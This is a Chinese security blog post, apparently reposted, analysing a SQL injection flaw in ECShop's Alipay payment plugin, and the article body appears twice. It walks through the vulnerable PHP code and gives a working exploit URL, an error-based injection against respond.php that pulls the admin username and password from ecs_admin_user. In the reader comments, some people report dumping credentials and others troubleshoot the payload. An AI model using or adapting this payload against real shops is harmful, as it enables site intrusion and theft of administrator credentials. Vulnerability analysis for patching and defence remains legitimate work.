ecshop 最新注入0day分析报告 2013-02-20
感謝Seay投递
漏洞作者:360
漏洞分析:Seay
博客:www.cnseay.com
今天习惯性的到处逛,看看文章。看到了360爆的一个ecshop 支付宝支付插件的注入漏洞,照例的分析下,360的团队还是挺赞的。
由于漏洞源于ecshop的支付宝支付插件,所有利用前提是站点安装此插件,利用不受GPC影响。
漏洞核心代码在\includes\modules\payment\alipay.php 文件 respond()函数,第215行。
function respond()
{
if (!empty($_POST))
{
foreach($_POST as $key => $data)
{
$_GET[$key] = $data;
}
}
$payment = get_payment($_GET['code']);
$seller_email = rawurldecode($_GET['seller_email']);
$order_sn = str_replace($_GET['subject'], '', $_GET['out_trade_no']);
$order_sn = trim($order_sn);
/* 检查支付的金额是否相符 */
if (!check_money($order_sn, $_GET['total_fee']))
{
/*----省略----*/
$order_sn变量由str_replace($_GET['subject'], ”, $_GET['out_trade_no']);控制,我们可以通过$_GET['subject']参数来替换掉$_GET['out_trade_no']参数里面的绊脚石。
最终$order_sn被带入check_money()函数。我们跟进看一下
在include\lib_payment.php文件中109行.
function check_money($log_id, $money)
{
$sql = 'SELECT order_amount FROM ' . $GLOBALS['ecs']->table('pay_log') .
" WHERE log_id = '$log_id'";
$amount = $GLOBALS['db']->getOne($sql);
if ($money == $amount)
{
/*----省略----*/
此处就是漏洞现场。原来的$order_sn被带入了数据库。
利用实践:
首先我们要通过str_replace来达到我们想要的效果,%00是截断符,即也为NULL,NULL值是与0相等的,
测试代码
<?php
$a=addslashes($_GET['a']);
$b=addslashes($_GET['b']);
print_r($a.'<br />');
print_r($b.'<br />');
print_r(str_replace($a,'',$b));
?>
效果图:
调用respond()函数的文件是respond.php,所以要在respond.php文件利用。
最终利用EXP:
http://localhost/ecshop/respond.php?code=alipay&subject=0&out_trade_no=%00' and (select * from (select count(*),concat(floor(rand(0)*2),(select concat(user_name,password) from ecs_admin_user limit 1))a from information_schema.tables group by a)b) -- By seay
漏洞作者:360
漏洞分析:Seay
博客:www.cnseay.com
今天习惯性的到处逛,看看文章。看到了360爆的一个ecshop 支付宝支付插件的注入漏洞,照例的分析下,360的团队还是挺赞的。
由于漏洞源于ecshop的支付宝支付插件,所有利用前提是站点安装此插件,利用不受GPC影响。
漏洞核心代码在\includes\modules\payment\alipay.php 文件 respond()函数,第215行。
function respond()
{
if (!empty($_POST))
{
foreach($_POST as $key => $data)
{
$_GET[$key] = $data;
}
}
$payment = get_payment($_GET['code']);
$seller_email = rawurldecode($_GET['seller_email']);
$order_sn = str_replace($_GET['subject'], '', $_GET['out_trade_no']);
$order_sn = trim($order_sn);
/* 检查支付的金额是否相符 */
if (!check_money($order_sn, $_GET['total_fee']))
{
/*----省略----*/
$order_sn变量由str_replace($_GET['subject'], ”, $_GET['out_trade_no']);控制,我们可以通过$_GET['subject']参数来替换掉$_GET['out_trade_no']参数里面的绊脚石。
最终$order_sn被带入check_money()函数。我们跟进看一下
在include\lib_payment.php文件中109行.
function check_money($log_id, $money)
{
$sql = 'SELECT order_amount FROM ' . $GLOBALS['ecs']->table('pay_log') .
" WHERE log_id = '$log_id'";
$amount = $GLOBALS['db']->getOne($sql);
if ($money == $amount)
{
/*----省略----*/
此处就是漏洞现场。原来的$order_sn被带入了数据库。
利用实践:
首先我们要通过str_replace来达到我们想要的效果,%00是截断符,即也为NULL,NULL值是与0相等的,
测试代码
<?php
$a=addslashes($_GET['a']);
$b=addslashes($_GET['b']);
print_r($a.'<br />');
print_r($b.'<br />');
print_r(str_replace($a,'',$b));
?>
效果图:
调用respond()函数的文件是respond.php,所以要在respond.php文件利用。
最终利用EXP:
http://localhost/ecshop/respond.php?code=alipay&subject=0&out_trade_no=%00' and (select * from (select count(*),concat(floor(rand(0)*2),(select concat(user_name,password) from ecs_admin_user limit 1))a from information_schema.tables group by a)b) -- By seay
评论27次
很强大啊
seay貌似现在在安全宝上班.
过来支持下!!!!
厉害
果然给力,就是有点鸡肋,对方安装了支付宝才可以报,已经很给力了, 谢谢分享,感谢~~~
seay大牛的意思是不是 截断后面的字符 单引号不受gpc影响? 审计彩笔求解答啊
好吧是我错了。后面的-- By seay是用来注释最后一个引号的吧。。。我还以为是签名呢。。。成功爆出用户名密码。。。
MySQL server error report:Array ( [0] => Array ( [message] => MySQL Query Error ) [1] => Array ( [sql] => SELECT order_amount FROM `XXX`.`ecs_pay_log` WHERE log_id = '\\' and (select * from (select count(*),concat(floor(rand()*2),(select concat(user_name,password) from ecs_admin_user limit 1))a from information_schema.tables group by a)b)' ) [2] => Array ( [error] => You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1 ) [3] => Array ( [errno] => 1064 ) ) 测试后得到的是这样的返回,貌似语句有错?
感谢分享~~~
不错,学xi一下.....
向seay牛学xi
精品,学xi了
ecshop的支付 红包。这里问题好多
测试了一个 显示支付操作失败?这个什么版本的?
审计工作 很重要啊
分析的很不错,赞一个
看不到图片
先得爆出表前缀 才能爆出密码吧
强大